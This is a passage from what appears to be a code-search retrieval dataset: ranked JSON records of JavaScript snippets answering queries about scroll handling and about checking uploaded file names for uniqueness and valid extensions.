toward the top\n // that the user scrolled.\n offsetCorrection = Math.round(offsetDifference *\n Math.max(0, Math.min(1, scrollMagnitude / (scrollOffset + scrollMagnitude))));\n // Based on the offset correction above, we pretend that the scroll delta was bigger or\n // smaller than it actually was, this way we can start to eliminate the difference.\n scrollDelta = scrollDelta - offsetCorrection;\n scrollMagnitude = Math.abs(scrollDelta);\n }\n // The current amount of buffer past the start of the viewport.\n const startBuffer = this._lastScrollOffset - this._lastRenderedContentOffset;\n // The current amount of buffer past the end of the viewport.\n const endBuffer = this._lastRenderedContentOffset +\n this._lastRenderedContentSize -\n (this._lastScrollOffset + viewport.getViewportSize());\n // The amount of unfilled space that should be filled on the side the user is scrolling toward\n // in order to safely absorb the scroll delta.\n const underscan = scrollMagnitude + this._minBufferPx - (scrollDelta < 0 ? startBuffer : endBuffer);\n // Check if there's unfilled space that we need to render new elements to fill.\n if (underscan > 0) {\n // Check if the scroll magnitude was larger than the viewport size. In this case the user\n // won't notice a discontinuity if we just jump to the new estimated position in the list.\n // However, if the scroll magnitude is smaller than the viewport the user might notice some\n // jitteriness if we just jump to the estimated position. Instead we make sure to scroll by\n // the same number of pixels as the scroll magnitude.\n if (scrollMagnitude >= viewport.getViewportSize()) {\n this._renderContentForCurrentOffset();\n }\n else {\n // The number of new items to render on the side the user is scrolling towards. Rather than\n // just filling the underscan space, we actually fill enough to have a buffer size of\n // `maxBufferPx`. This gives us a little wiggle room in case our item size estimate is off.\n const addItems = Math.max(0, Math.ceil((underscan - this._minBufferPx + this._maxBufferPx) /\n this._averager.getAverageItemSize()));\n // The amount of filled space beyond what is necessary on the side the user is scrolling\n // away from.\n const overscan = (scrollDelta < 0 ? endBuffer : startBuffer) - this._minBufferPx + scrollMagnitude;\n // The number of currently rendered items to remove on the side the user is scrolling away\n // from. If removal has failed in recent cycles we are less aggressive in how much we try to\n // remove.\n const unboundedRemoveItems = Math.floor(overscan / this._averager.getAverageItemSize() / (this._removalFailures + 1));\n const removeItems = Math.min(renderedRange.end - renderedRange.start, Math.max(0, unboundedRemoveItems));\n // The new range we will tell the viewport to render. We first expand it to include the new\n // items we want rendered, we then contract the opposite side to remove items we no longer\n // want rendered.\n const range = this._expandRange(renderedRange, scrollDelta < 0 ? addItems : 0, scrollDelta > 0 ? addItems : 0);\n if (scrollDelta < 0) {\n range.end = Math.max(range.start + 1, range.end - removeItems);\n }\n else {\n range.start = Math.min(range.end - 1, range.start + removeItems);\n }\n // The new offset we want to set on the rendered content. To determine this we measure the\n // number of pixels we removed and then adjust the offset to the start of the rendered\n // content or to the end of the rendered content accordingly (whichever one doesn't require\n // that the newly added items to be rendered to calculate.)\n let contentOffset;\n let contentOffsetTo;\n if (scrollDelta < 0) {\n let removedSize = viewport.measureRangeSize({\n start: range.end,\n end: renderedRange.end,\n });\n // Check that we're not removing too much.\n if (removedSize <= overscan) {\n contentOffset =\n this._lastRenderedContentOffset + this._lastRenderedContentSize - removedSize;\n this._removalFailures = 0;\n }\n else {\n // If the removal is more than the overscan can absorb just undo it and record the fact\n // that the removal failed so we can be less aggressive next time.\n range.end = renderedRange.end;\n contentOffset = this._lastRenderedContentOffset + this._lastRenderedContentSize;\n this._removalFailures++;\n }\n contentOffsetTo = 'to-end';\n }\n else {\n const removedSize = viewport.measureRangeSize({\n start: renderedRange.start,\n end: range.start,\n });\n // Check that we're not removing too much.\n if (removedSize <= overscan) {\n contentOffset = this._lastRenderedContentOffset + removedSize;\n this._removalFailures = 0;\n }\n else {\n // If the removal is more than the overscan can absorb just undo it and record the fact\n // that the removal failed so we can be less aggressive next time.\n range.start = renderedRange.start;\n contentOffset = this._lastRenderedContentOffset;\n this._removalFailures++;\n }\n contentOffsetTo = 'to-start';\n }\n // Set the range and offset we calculated above.\n viewport.setRenderedRange(range);\n viewport.setRenderedContentOffset(contentOffset + offsetCorrection, contentOffsetTo);\n }\n }\n else if (offsetCorrection) {\n // Even if the rendered range didn't change, we may still need to adjust the content offset to\n // simulate scrolling slightly slower or faster than the user actually scrolled.\n viewport.setRenderedContentOffset(this._lastRenderedContentOffset + offsetCorrection);\n }\n // Save the scroll offset to be compared to the new value on the next scroll event.\n this._lastScrollOffset = scrollOffset;\n }", "title": "" }, { "docid": "46db0c2496a806e6dda000ad50854aa0", "score": "0.6202278", "text": "triggerScroll_() {\n const scrolltop = this.viewport_.getScrollTop();\n const positionObserverData = {\n 'start-scroll-offset': scrolltop,\n 'end-scroll-offset': scrolltop + this.remainingScrollToExit_,\n 'initial-inview-percent': this.scrollProgress_,\n };\n const name = 'scroll';\n const event = createCustomEvent(this.win, `${TAG}.${name}`, {\n 'percent': this.scrollProgress_,\n 'positionObserverData': positionObserverData,\n });\n this.action_.trigger(this.element, name, event, ActionTrust_Enum.LOW);\n // TODO(nainar): We want to remove the position observer if the scroll\n // event is only used by the AnimationWorklet codepath of amp-animation.\n // This involves having amp-animation signal back to amp-position-observer\n // that it is using AnimationWorklet AND amp-position-observer needs to\n // ensure nothing else other than amp-animation is using scroll AND\n // that `enter` and `exit` events are not used.\n }", "title": "" }, { "docid": "61c9b548ed45c49bd5a3c139d97b4828", "score": "0.61996377", "text": "function scrollOn() {\n}", "title": "" }, { "docid": "f1acc231557d615d28f61920058fd830", "score": "0.61900723", "text": "handleScroll(dotnetReference, selector, event) {\r\nconst elements = document.getElementsByClassName(selector);\r\nif (elements.length === 0) {\r\nreturn;\r\n}\r\nconst center = window.innerHeight / 2.0;\r\nlet minDifference = Number.MAX_SAFE_INTEGER;\r\nlet elementId = '';\r\nfor (let i = 0; i < elements.length; i++) {\r\nconst element = elements[i];\r\nconst rect = element.getBoundingClientRect();\r\nconst diff = Math.abs(rect.top - center);\r\nif (diff < minDifference) {\r\nminDifference = diff;\r\nelementId = element.id;\r\n}\r\n}\r\nif (document.getElementById(elementId).getBoundingClientRect().top < window.innerHeight * 0.8 === false) {\r\nreturn;\r\n}\r\nif (this.scrollToSectionRequested != null) {\r\nif (this.scrollToSectionRequested == ' ' && window.scrollY == 0) {\r\nthis.scrollToSectionRequested = null;\r\n}\r\nelse {\r\nif (elementId === this.scrollToSectionRequested) {\r\nthis.scrollToSectionRequested = null;\r\n}\r\n}\r\nreturn;\r\n}\r\nif (elementId != this.lastKnowElement) {\r\nthis.lastKnowElement = elementId;\r\nhistory.replaceState(null, '', window.location.pathname + \"#\" + elementId);\r\ndotnetReference.invokeMethodAsync('SectionChangeOccured', elementId);\r\n}\r\n}", "title": "" }, { "docid": "b796b2e3c8157f968ed06e983bf67ecb", "score": "0.6189299", "text": "function handleWindowScroll() {\n LazyLoader.scanImages();\n\n // TODO: add code\n}", "title": "" }, { "docid": "ea668404479e4db4fa041df6989f6b9a", "score": "0.61862534", "text": "function scrollEvent( e ) {\n\n}", "title": "" }, { "docid": "5b6bcb409c13d596546fcfe6ee53c895", "score": "0.617912", "text": "function __scrollHandler__() {\n\t\tvar topMostDlg = __findTopMostDialog__();\n\t\tif (topMostDlg) {\n\t\t\ttopMostDlg._handleScroll();\n\t\t}\n\t}", "title": "" }, { "docid": "e5356ebd49225a751ab2320ffd88e5c3", "score": "0.6169322", "text": "handleScroll() {\n const windowHeight = window.innerHeight ? window.innerHeight : document.documentElement.offsetHeight;\n const body = document.body;\n const html = document.documentElement;\n const docHeight = Math.max(body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight);\n const windowBottom = windowHeight + window.pageYOffset;\n if (windowBottom >= docHeight) {\n this.setState((prevState, props) => {\n return {offset: prevState.offset + 10};\n }, this.albumQuery);\n }\n }", "title": "" }, { "docid": "f48ecb39440f1cea226c6f2ff732c7aa", "score": "0.61627346", "text": "async _onScroll() {\n if (this.timeout) clearTimeout(this.timeout);\n this.timeout =\n setTimeout(() => {\n this.render()\n }, 500)\n }", "title": "" }, { "docid": "b0b970fabd4788bff3fb7655de7e24d6", "score": "0.61582416", "text": "handleScroll(e){\r\n\t\tif (document.body.scrollHeight == \r\n\t document.body.scrollTop + \r\n\t window.innerHeight) {\r\n\t\t\t\t//ease the amount of books loaded\r\n\t\t this.setState({offset: this.state.offset + (this.state.offset / 4)})\r\n\t\t \t$.ajax({\r\n\t\t\t\t\turl: '/library',\r\n\t\t\t\t\tmethod: 'post',\r\n\t\t\t\t\tdata: {story: {category: this.state.currentCat, offset: this.state.offset, limit: 25 }}\r\n\t\t\t })\r\n\t\t \t.done(function(response){\r\n\t\t \t\tthis.setState({books: this.state.books.concat(response.stories)})\r\n\t\t \t}.bind(this))\t \t\r\n\t }\r\n\t }", "title": "" } ]
e21b2f637b1d0db7a03ecca3b9997c33
checks that the file name is unique. Just intended to catch clusters with duplicate names Checking the selected upload file name's uniqueness is done in FileUploadControl
[ { "docid": "3f671326b4de6138eaa07abfbdb0b93f", "score": "0.7390051", "text": "function validateNameUniqueness(file, allFiles, validationMessages) {\n const allOtherFiles = allFiles.filter(f => f._id != file._id)\n const allOtherNames = allOtherFiles.map(f => f.name)\n // require 'isDirty' so we only show the error on the file being updated\n if (file.name && allOtherNames.includes(file.name) && file.isDirty) {\n validationMessages.fileName = `A file named ${file.name} already exists in your study`\n }\n}", "title": "" } ]
[ { "docid": "054f87d5347652bbda079ad0bb424237", "score": "0.71001005", "text": "function fileAlreadyExists(name) {\n name = name.toLowerCase();\n for (var n = 0, m = state.fileList.length; n < m; n++) {\n if (state.fileList[n].toLowerCase() === name) {\n return true;\n }\n }\n if (name === 'index.htm') { // name not allowed\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "d9de996488a06e7e27c2042959e31694", "score": "0.67233914", "text": "function checkName() {\n fs.lstat(finalPath, err => {\n if (err === null) {\n hash = getHash()\n newFileName = hash + '.' + fileExt\n tmpPath = path.join(os.tmpdir(), newFileName)\n finalPath = path.join(settings.path, newFileName)\n checkName()\n return\n }\n\n file.on('limit', () => {\n fs.unlink(tmpPath, checkErr)\n\n res.status(413)\n res.end(errorRes('exceeded max file size'))\n })\n\n file.on('end', () => {\n if (removeUpload) {\n fs.unlink(tmpPath, checkErr)\n return\n }\n\n move(tmpPath, finalPath, err => {\n if (err) {\n res.status(500)\n res.end(\n JSON.stringify(\n new GeneralError('server encountered an error'),\n null,\n 2\n )\n )\n return\n }\n\n if (removeUpload) {\n fs.unlink(finalPath, checkErr)\n }\n mvDone = true\n checkDone()\n })\n })\n\n file.pipe(fs.createWriteStream(tmpPath))\n })\n }", "title": "" }, { "docid": "0a1d80ddce00e8a1bf7621b5d5dfafec", "score": "0.661489", "text": "async checkNameUnique () {\n\t\tif (!this.attributes.name) {\n\t\t\treturn;\n\t\t}\n\t\tthrow 'updating stream names is deprecated';\n\t\t/*\n\t\tconst matchingStreams = await this.data.streams.getByQuery(\n\t\t\t{\n\t\t\t\tteamId: this.stream.get('teamId'),\n\t\t\t\tname: this.attributes.name\n\t\t\t},\n\t\t\t{\n\t\t\t\thint: Indexes.byName,\n\t\t\t\tfields: ['id', 'name'],\n\t\t\t\tnoCache: true\n\t\t\t}\n\t\t);\n\t\tif (matchingStreams.find(stream => stream.id !== this.stream.id)) {\n\t\t\tthrow this.errorHandler.error('duplicateName');\n\t\t}\n\t\t*/\n\t}", "title": "" }, { "docid": "18f47e2c12408d46a1e4b2340f7c6877", "score": "0.6596283", "text": "function GetFileNameUnique(strItemName, strSuffix)\n{\n\ttry\n\t{\n\t\tvar nCnt = 0;\n\t\tvar strFileCheck = strItemName + strSuffix;\n\t\twhile (wizard.DoesFileExist(strFileCheck))\n\t\t{\n\t\t\tnCnt++;\n\t\t\tstrFileCheck = strItemName + nCnt.toString() + strSuffix;\n\t\t}\n\t\t\n\t\treturn strFileCheck;\n\t}\n\tcatch(e)\n\t{\n\t\tthrow e;\n\t}\n}", "title": "" }, { "docid": "6c3ea1f2f3a34362029ba8a9e339c894", "score": "0.65654284", "text": "function checkUniqueness(currentName,n) {\n\tfor(let i = 0; i<n; i++) {\n\t\tif( currentName == GM_getValue(addZeroes(i)+'-name') ) {\n\t\t\treturn 0;\n\t\t}\n\t}\n\treturn 1;\n}", "title": "" }, { "docid": "d8c2b525b53ff26a6a2b1f115bd95a66", "score": "0.6350139", "text": "function validateNamesUnique() {\n var i = 0;\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\n vm.paramsForm['name_' + i].$setValidity(\n 'unique',\n vm.parametersList.isNameUnique(modelValue)\n );\n i++;\n }\n }", "title": "" }, { "docid": "6cbbb38ca9dc31428e552b23ff7ea220", "score": "0.6295698", "text": "function detectFilename() \n{\n\t$('.upload-wrap input[type=\"file\"]').on('change', function() \n\t{\n\t\tvar filename = $(this).val();\n\t\tvar lastIndex = filename.lastIndexOf(\"\\\\\");\n\t\tif (lastIndex >= 0) \n\t\t{\n\t\t\tfilename = filename.substring(lastIndex + 1);\n\t\t}\n\t\t$(this).prev().find('.uneditable-input').text(filename);\n\t});\n}", "title": "" }, { "docid": "b951abc360e06369370e665795f625c9", "score": "0.62080413", "text": "function checkValidRenameInput(\n event,\n input,\n type,\n oldName,\n newName,\n itemElement\n // myBootboxDialog\n) {\n double_extensions = [\n \".ome.tiff\",\n \".ome.tif\",\n \".ome.tf2,\",\n \".ome.tf8\",\n \".ome.btf\",\n \".ome.xml\",\n \".brukertiff.gz\",\n \".mefd.gz\",\n \".moberg.gz\",\n \".nii.gz\",\n \".mgh.gz\",\n \".tar.gz\",\n \".bcl.gz\",\n ];\n\n var duplicate = false;\n // if renaming a file\n if (type === \"files\") {\n let double_ext_present = false;\n for (let index in double_extensions) {\n if (oldName.search(double_extensions[index]) != -1) {\n newName =\n input.trim() +\n path.parse(path.parse(oldName).name).ext +\n path.parse(oldName).ext;\n double_ext_present = true;\n break;\n }\n }\n if (double_ext_present == false) {\n newName = input.trim() + path.parse(oldName).ext;\n }\n // check for duplicate or files with the same name\n for (var i = 0; i < itemElement.length; i++) {\n if (!itemElement[i].innerText.includes(\"-DELETED\")) {\n if (newName === path.parse(itemElement[i].innerText).base) {\n duplicate = true;\n break;\n }\n }\n }\n if (duplicate) {\n Swal.fire({\n icon: \"error\",\n text: `The file name: ${newName} already exists, please rename to a different name!`,\n backdrop: \"rgba(0,0,0, 0.4)\",\n heightAuto: false,\n });\n newName = \"\";\n }\n //// if renaming a folder\n } else {\n newName = input.trim();\n // check for duplicate folder as shown in the UI\n for (var i = 0; i < itemElement.length; i++) {\n if (input.trim() === itemElement[i].innerText) {\n duplicate = true;\n break;\n }\n }\n if (duplicate) {\n Swal.fire({\n icon: \"error\",\n text: `The folder name: ${newName} already exists, please rename to a different name!`,\n backdrop: \"rgba(0,0,0, 0.4)\",\n heightAuto: false,\n });\n newName = \"\";\n }\n }\n return newName;\n}", "title": "" }, { "docid": "ac593c68cdb0dedc93875533591ffdb2", "score": "0.61275417", "text": "function stringIsUnique(){\n\t\n}", "title": "" }, { "docid": "27b0667fbf5425e5c145464351e0deae", "score": "0.5930564", "text": "checkNameExist() {\n fs.readdir(this.downloadPath, (err, files) => {\n if (err) return this.recordInfor('下载目录未找到')\n const name = isFileNameExist(this.tree[0], 0, files)\n this.tree[0].name = name\n this.name = name\n this.updateStore()\n this.schedule()\n })\n }", "title": "" }, { "docid": "7012c0e6409186d3586a48a5de210d35", "score": "0.5906134", "text": "tryToSetUniqueName(name, toAddNameIfConflict) {\n if (RnObject.__uniqueNames.indexOf(name) !== -1) {\n // Conflict\n if (toAddNameIfConflict) {\n const newName = name + '_(' + this.__uniqueName + ')';\n if (RnObject.__uniqueNames.indexOf(newName) === -1) {\n this.__uniqueName = newName;\n RnObject.__uniqueNames[this.__objectUid] = this.__uniqueName;\n RnObject.__objectsByNameMap.set(this.__uniqueName, this);\n return true;\n }\n }\n return false;\n }\n else {\n this.__uniqueName = name;\n RnObject.__uniqueNames[this.__objectUid] = this.__uniqueName;\n RnObject.__objectsByNameMap.set(this.__uniqueName, this);\n return true;\n }\n }", "title": "" }, { "docid": "fdab4972f467a68c38ed28272cfe8840", "score": "0.587298", "text": "function generate_a_file_name (hashName) {\n\t\t\n\t\tvar maxi_lenght = 10;\n \t\tvar text = \"\";\n \t\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n\n \t\tfor (var i = 0; i < maxi_lenght; i++)\n \t\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\n\n \t\t//verify to the data base if the file doesn't exixt yet\n \t\tIntello.verify_if_the_file_name_exist(text,function (statu) { \n \t\t\t\n \t\t\tif(statu==true){\n\n \t\t\t\thashName(text)\n \t\t\t}else{\n \t\t\t\tgenerate_a_file_name(hashName)\n \t\t\t}\n \t\t})\n\t}", "title": "" }, { "docid": "4dfb10c0d4f6401341fd19876a541160", "score": "0.5850384", "text": "function getSafeFilename(folder, orig, cb) {\n var filename = orig, i = 1;\n \n function testNextFile() {\n fs.exists(path.join(uploadDir, filename), function (exists) {\n console.log(\"Testing: \" + filename);\n if (exists) {\n console.log(\"Exists, trying again\");\n filename = path.basename(orig, path.extname(orig)) + \"_\" + i + path.extname(orig);\n i++;\n testNextFile();\n } else {\n cb(filename);\n }\n });\n }\n \n testNextFile();\n}", "title": "" }, { "docid": "bb054aba787228a00986fcc4a2c442f9", "score": "0.58503675", "text": "function suggestUniqueFileName(aIdentifier, aType, aExistingNames) {\n let suffix = 1;\n let base = validateFileName(aIdentifier);\n let suggestion = base + aType;\n while (true) {\n if (!aExistingNames.has(suggestion)) {\n break;\n }\n\n suggestion = base + suffix + aType;\n suffix++;\n }\n\n return suggestion;\n}", "title": "" }, { "docid": "3216d9f0e5c294ec17a341f8d8a43236", "score": "0.5783303", "text": "function checkFileName(fileName, extensionName) {\n\n //File name elements to check against\n var exhibitName = ['albedo', 'sallyride'];\n var pathways = ['engineer', 'biologist', 'climatologist','default'];\n var location = ['top', 'right', 'left', 'bottom', 'middle','background'];\n var extension = [\n 'png',\n 'svg',\n 'jpeg',\n 'jpg',\n 'gif',\n 'bmp',\n 'SVG',\n 'PNG',\n 'JPEG',\n 'JPG',\n 'GIF',\n 'BMP',\n 'mp4',\n 'mov',\n 'avi',\n 'amv',\n 'wmv',\n 'MP4',\n 'MOV',\n 'AVI',\n 'AMV',\n 'WMV'\n ];\n var name = fileName;\n\n var bool = 0; //returns -1 if check is unsuccessful\n console.log(\"The current file name is \" + name);\n\n //check that there exists two '-'\n var parsedName = name.split('-')\n if (parsedName.length != 3) {\n return -1;\n }\n\n //check exhibit exists\n bool = exhibitName.lastIndexOf(parsedName[0]);\n if (bool === -1) {\n console.log(\"parsedName[2] is:\" + parsedName[0]);\n return -1;\n }\n\n //check pathway exists\n bool = pathways.lastIndexOf(parsedName[1]);\n if (bool === -1) {\n console.log(\"parsedName[2] is:\" + parsedName[1]);\n return -1;\n }\n\n //Check location exists\n bool = location.lastIndexOf(parsedName[2]);\n if (bool === -1) {\n console.log(\"parsedName[2] is:\" + parsedName[2]);\n return -1;\n }\n\n //Check if extension is a valid image extension\n bool = extension.lastIndexOf(extensionName);\n if (bool === -1) {\n console.log(\"image extension is:\" + extensionName);\n return -1;\n }\n\n return 0; //Returns 0 if naming scheme is followed correctly\n}", "title": "" }, { "docid": "9632336376080e4ebe52a7161daaac57", "score": "0.57810295", "text": "function noRepeatCheck(streamName) {\n // changing the stream array to lowercase for tests\n var streamCheck = streams.map(function(value) {\n return value.toLowerCase();\n });\n // checking for only valid names and lengths\n var find = /[a-zA-Z0-9_]/g; //valid characters\n if (streamName.length !== streamName.match(find).length || streamName.length > 15 || streamName[0] === '_') {\n alert(streamName + \" is not a valid channel name\");\n return false;\n }\n if (streamCheck.indexOf(streamName.toLowerCase()) !== -1) {\n alert(\"The \" + streamName + \" channel is already in the list.\")\n return false;\n }\n streams.push(streamName);\n return true;\n}", "title": "" }, { "docid": "db3d1b96b8875e6398d8fdee4abf54f6", "score": "0.5756301", "text": "function checkUnique(name){\n let unique = true;\n grid.forEach( column => {\n column.forEach( tile =>{\n row = grid.indexOf(column);\n col = column.indexOf(tile);\n if (grid[row][col].content != null){\n if (grid[row][col].content.name != null){\n if ((grid[row][col].content.name) === name){\n unique = false;\n \n alert(\"Entity Names must be unique\")\n \n }\n }\n }\n });\n });\n\n return unique;\n}", "title": "" }, { "docid": "fa610282081a22eefe73ad46a73b206f", "score": "0.5743533", "text": "static isNameValid(newName) {\n var pattern = new RegExp(\"^[a-zA-Z_][a-zA-Z_0-9]{1,50}$\");\n if (pattern.test(newName)) {\n return true;\n }\n else {\n return false;\n }\n }", "title": "" }, { "docid": "5b26fdea8bab364041230d60494cf4c6", "score": "0.5739209", "text": "function checkName() {\n vmAddPermission.formData.role = bzUtilsSvc.textToSlug(vmAddPermission.formData.role);\n }", "title": "" }, { "docid": "c38f5d4a1e58d0ac37b07d74a3f67d19", "score": "0.5736619", "text": "function findFirstFilenameNotTaken(confPath, fileName) {\n return new Promise(function(resolve, reject) {\n // let's find the extension if it exists\n var fileExtension = new RegExp( settings.regexpGetFileExtension, 'i').exec( fileName)[0];\n var fileNameWithoutExtension = new RegExp( settings.regexpRemoveFileExtension, 'i').exec( fileName)[1];\n fileNameWithoutExtension = slugg(fileNameWithoutExtension);\n dev.logverbose(\"Looking for existing file with name : \" + fileNameWithoutExtension + \" in confPath : \" + confPath);\n try {\n var newFileName = fileNameWithoutExtension + fileExtension;\n var newMetaFileName = fileNameWithoutExtension + settings.metaFileext;\n var index = 0;\n var newPathToFile = path.join(confPath, newFileName);\n var newPathToMeta = path.join(confPath, newMetaFileName);\n dev.logverbose( \"2. about to look for existing files.\");\n // check si le nom du fichier et le nom du fichier méta sont déjà pris\n while( (!fs.accessSync( newPathToFile, fs.F_OK) && !fs.accessSync( newPathToMeta, fs.F_OK))){\n dev.logverbose(\"- - following path is already taken : newPathToFile = \" + newPathToFile + \" or newPathToMeta = \" + newPathToMeta);\n index++;\n\n newFileName = fileNameWithoutExtension + \"-\" + index + fileExtension;\n newMetaFileName = fileNameWithoutExtension + \"-\" + index + settings.metaFileext;\n newPathToFile = path.join(confPath, newFileName);\n newPathToMeta = path.join(confPath, newMetaFileName);\n }\n } catch(err) {\n\n }\n dev.logverbose( \"3. this filename is not taken : \" + newFileName);\n resolve(newFileName);\n });\n }", "title": "" }, { "docid": "b74a26ff26900afa6200f897547de028", "score": "0.5679986", "text": "function isFilenameValid(name) {\n return /^[A-Za-z0-9][A-Za-z0-9\\._\\-]*$/.test(name)\n}", "title": "" }, { "docid": "6f2e7ae7360c59d3cc17111ec11e8d84", "score": "0.56783473", "text": "validFile(imageName){\n let lowercaseImageName = imageName.toLowerCase();\n return (\n lowercaseImageName.indexOf(\".jpg\") !== -1 ||\n lowercaseImageName.indexOf(\".jpeg\") !== -1 ||\n lowercaseImageName.indexOf(\".tiff\") !== -1 ||\n lowercaseImageName.indexOf(\".bmp\") !== -1\n )\n }", "title": "" }, { "docid": "c7e184e2e5a79d375fc15e7ba4541ff9", "score": "0.5677094", "text": "function checkduplicate(text)\n{\n\tvar i = 0;\n\tvar len = groupStore.length;\n\twhile (i < len)\n\t{\n\t\tvar str = groupStore[i]._title;\n\t\tif(text.toLowerCase()==str.toLowerCase())\n\t\t{\n\t\t\tdocument.getElementById('errorgroup').innerHTML=\"This category name already exists.\";\n\t\t\treturn true;\n\t\t}\n\t\ti++;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "f1afc434aafdb4668563364b83085a82", "score": "0.56705034", "text": "function fileNotPresent(fileBlob){\n for(let i = 0; i < uploadFiles.length; i++){\n if(uploadFiles[i].name === fileBlob.name\n && uploadFiles[i].type === fileBlob.type\n && uploadFiles[i].lastModified === fileBlob.lastModified\n && uploadFiles[i].size === fileBlob.size){\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "f51d05592a9f61f816e5545dfaac1de1", "score": "0.5665211", "text": "function ValidateSingleInput(oInput) {\n\t\tvar id = oInput.getAttribute('id');\n\t\tvar control = document.getElementById(id);\n\t \tvar filelength = control.files.length;\n\t \t$('.filelist').html('');\n\t \tvar blnValid = true;\n\t\tfor (var i = 0; i < control.files.length; i++) {\n\t\t var file = control.files[i];\n\t\t var FileName = file.name;\n\t\t var FileExt = FileName.substr(FileName.lastIndexOf('.') + 1);\n\t\t if (_validFileExtensions.indexOf(FileExt)<0) {\n\t\t \tblnValid = false;\n\t\t \t$('.filelist').append('<span style=\"color:red\">'+FileName+'</span><br>');\n\t\t } else {\n\t\t \t$('.filelist').append(FileName+'<br>');\n\t\t }\n\t \t}\n \t \tif (!blnValid) {\n \t$('.filetypewarning').html('Допустимые расширения файлов '+ _validFileExtensions.join(\", \")+'. Приложите правильные файлы.')\n control.value = \"\";\n return false;\n } else {\n \t$('.filetypewarning').html('');\n }\n\n\t}", "title": "" }, { "docid": "88b6b12c8741b794a616e4aadab89671", "score": "0.5637885", "text": "isFileCloudExisting(name) {\n for (var i = 0; i < this.saveView.cloudSelectFile.options.length; i++) {\n if (this.saveView.cloudSelectFile.options[i].textContent == name) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "2dfc23cfe269979aaf9b9b35dc6ed1f6", "score": "0.5637272", "text": "function GetUniqueFileName(strDirectory, strFileName)\n{\n\ttry\n\t{\n\t\toFSO = new ActiveXObject(\"Scripting.FileSystemObject\");\n\t\tif (!strFileName)\n\t\t\treturn oFSO.GetTempName();\n\n\t\tif (strDirectory.length && strDirectory.charAt(strDirectory.length-1) != \"\\\\\")\n\t\t\tstrDirectory += \"\\\\\";\n\n\t\tvar strFullPath = strDirectory + strFileName;\n\t\tvar strName = strFileName.substring(0, strFileName.lastIndexOf(\".\"));\n\t\tvar strExt = strFileName.substr(strFileName.lastIndexOf(\".\"));\n\n\t\tvar nCntr = 0;\n\t\twhile (oFSO.FileExists(strFullPath))\n\t\t{\n\t\t\tnCntr++;\n\t\t\tstrFullPath = strDirectory + strName + nCntr + strExt;\n\t\t}\n\t\tif (nCntr)\n\t\t\treturn strName + nCntr + strExt;\n\t\telse\n\t\t\treturn strFileName;\n\t}\n\tcatch(e)\n\t{ \n\t\tthrow e;\n\t}\n}", "title": "" }, { "docid": "b45bd3c8002c0bcd21655d5cc290ca4d", "score": "0.56303704", "text": "function isUnique(str) {\n if (str.length > 256) {\n return false;\n }\n for (var i = 0; i < str.length; i++) {\n if (str.indexOf(str[i]) !== str.lastIndexOf(str[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "7f483659155a0881c35839d5ce7916a4", "score": "0.56199324", "text": "function fileToUpload(e){\n let files = Files;\n let file = e.target.files[0]\n let category = e.target.name;\n //Check if file already exists or (incase of eventImage) is already bound to input\n let found = false;\n let i;\n for(i = 0; i < files.length; i++){\n if(e.target.name === \"eventImage\" && \n files[i].bound === e.target.name){\n found = true;\n break;\n }\n else if(file && files[i].file.name === file.name){\n found = true;\n break;\n }\n }\n if(found){\n //console.log(\"Dup found\")\n files.splice(i,1);\n }\n else{\n //console.log(\"dup not found\")\n }\n files.push(\n {\n category: category,\n file: file,\n bound: e.target.name\n }\n );\n\n setFiles(files)\n //console.log(Files)\n }", "title": "" }, { "docid": "2bef45dae3915efb9d844d7d83c4b953", "score": "0.5616037", "text": "function renameCollectionCheck() {\n statusClear();\n var cid = activeCollectionId();\n var cpath = collectionPath(cid);\n\n if (collectionIsWriteProtected(cid)) {\n statusError('rename not allowed, collection is write protected: ' + cpath);\n return;\n }\n var img = getLastMarkedEntry(cid);\n if (! img) {\n statusError(\"no collection marked in: \" + cpath);\n return;\n }\n if ($(img).hasClass('imgmark')) {\n statusError(\"last marked isn't a collection in: \" + cpath);\n // clearEntryMark($(img));\n return;\n }\n var iname = getDiaName(img);\n $('#RenameCollectionModalLabel')\n .empty()\n .append('Rename collection: ' + iname);\n $('#RenameCollectionButton').click();\n}", "title": "" }, { "docid": "13f930b76fe703a52c68fdddaa79c9d5", "score": "0.5607567", "text": "function checkforDuplicateName(newName)\n{\n var currentName;\n var currentObject\n\n var curCellIndex = curEditValue.parentNode.parentNode.parentNode.parentNode.cellIndex;\n var curRowIndex= curEditValue.parentNode.parentNode.parentNode.parentNode.parentNode.rowIndex;\n\n //loop through all the rows looking for the name\n for(var row =0; row < globalPathTable.rows.length; row++)\n {\n\t//loop throug all the cells that could contain a custom select\n\t//only odd numbered cells can contain a custom select so we start\n\t//at 1 and increment by 2\n\tfor(var cell = 1; cell < globalPathTable.rows[row].cells.length; cell +=2)\n\t{\n\t currentObject =getSubNode(globalPathTable.rows[row].cells[cell], \"value\", 0, 0);\n\t if(currentObject)\n\t {\n\t\tif(currentObject.value == newName && (cell != curCellIndex || row != curRowIndex))\n\t\t{\n\t\t return true;\n\t\t}\n\t }\n\t}\n }\n return false;\n}", "title": "" }, { "docid": "848ee261aba6d604b4d1dd4ba4919d0f", "score": "0.5589301", "text": "function checkFileNameDublicacy()\n{\n\t var dept=$(\"#dept\").val();\n\t\t\tvar office=$(\"#ofcid\").val();\n\t\t\tvar project=$(\"#project\").val();\n\t\t\tvar work=$(\"#work\").val();\n\t\t\tvar client=$(\"#client\").val();\n\t\t\tvar activity=$(\"#activityID\").val();\n\t\t\tvar title=$(\"#title\").val();\n\t\t\tvar subject=$(\"#sub\").val();\n\t\t\tvar fileNameActual=$(\"#fileNameActual\").val();\n\t\t\tvar custodian=$(\"#empOfficeMapIdascustodian\").val();\t\t\t\n\t\t\t\n\t\t\n\t\t\tif(project==\"0\" && work!=\"0\")\n\t\t\t{\t\t\t\t\n\t\t\t\tbootbox.alert(\"Please select project !\");\n\t\t\t}\n\t\t\t\n\t\t\t else if(title==\"\")\n\t\t\t{\n\t\t\tbootbox.alert(\"Please enter title !\");\n\t\t\t}\n\t\t\telse 